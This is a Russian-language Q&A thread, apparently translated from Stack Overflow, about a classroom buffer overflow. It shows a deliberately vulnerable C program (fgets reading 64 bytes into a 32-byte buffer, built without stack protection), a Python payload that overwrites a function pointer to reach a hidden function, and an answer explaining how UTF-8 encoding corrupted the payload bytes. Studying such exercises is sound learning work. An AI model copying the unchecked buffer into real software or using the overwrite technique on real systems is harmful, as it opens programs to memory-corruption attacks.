Переполнение буфера - вставлены неожиданные значения - PullRequest
0 голосов
/ 28 января 2019

Я пытаюсь использовать переполнение буфера для перезаписи двух локальных переменных, чтобы я мог вызвать скрытую функцию.Вот код C.

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

Я использую этот Makefile.

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

Запуск nm overflow_ptr показывает мне, что адрес скрытой функции следующий:

080484a6 t hidden_function

Итак, я создал следующую полезную нагрузку:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

Это должно сделать dump_number = 0x87654321 и f_ptr = 0x080484a6.Однако, когда я запускаю эту программу, вывод:

Provide buffer input: Dumb number value is 0xc2654321.

Что заставляет меня задуматься, почему был вставлен этот c2?Я предполагаю, что это какая-то мера защиты.Если так, есть ли способ предотвратить это?Я использую 64-битную виртуальную машину с Ubuntu.

1 Ответ

0 голосов
/ 29 января 2019

Возможно, ваш Python по умолчанию использует UTF-8 кодирование ввода / вывода, а не ISO-8859-1.Вы можете переопределить кодировку Python IO по умолчанию, установив переменную среды PYTHONIOENCODING

. Вы можете запустить overflow_ptr с помощью этой команды:

echo $ (PYTHONIOENCODING = "ISO-8859-1 "python3 -c 'print (32 *" A "+" \ x21 \ x43 \ x65 \ x87 "+" \ xa6 \ x84 \ x04 \ x08 ")') |./overflow_ptr

Вывод должен быть:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

Я подозреваю, что в вашей системе, если бы вы запустили эту команду:

python3 -c 'print (32 * "A" + "\ x21 \ x43 \ x65 \ x87" + "\ xa6 \ x84 \ x04 \ x08")' |od -tx1 -v

что результат будет примерно таким:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

результат, который вы, вероятно, ожидали, был:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

Вы заметите, что в первом выводе все значения> = 0x80 были преобразованы в несколько байтов, каждое из которых начинается с 0xc2.Это преобразование символов привело к неожиданному значению c2 в значении вашего немого числа.


Примечания:

  • Если вы хотите избежать добавления в Python дополнительных 0x0aдо конца вы можете сказать функции print, чтобы устранить ее, выполнив это так:

    print (32 * "A" + "\ x21 \ x43 \ x65 \ x87" + "\xa6 \ x84 \ x04 \ x08 ", end =" ")

    Указав end="" в качестве параметра print, вы исключаете завершающий символ 0x0a (перевод строки).

...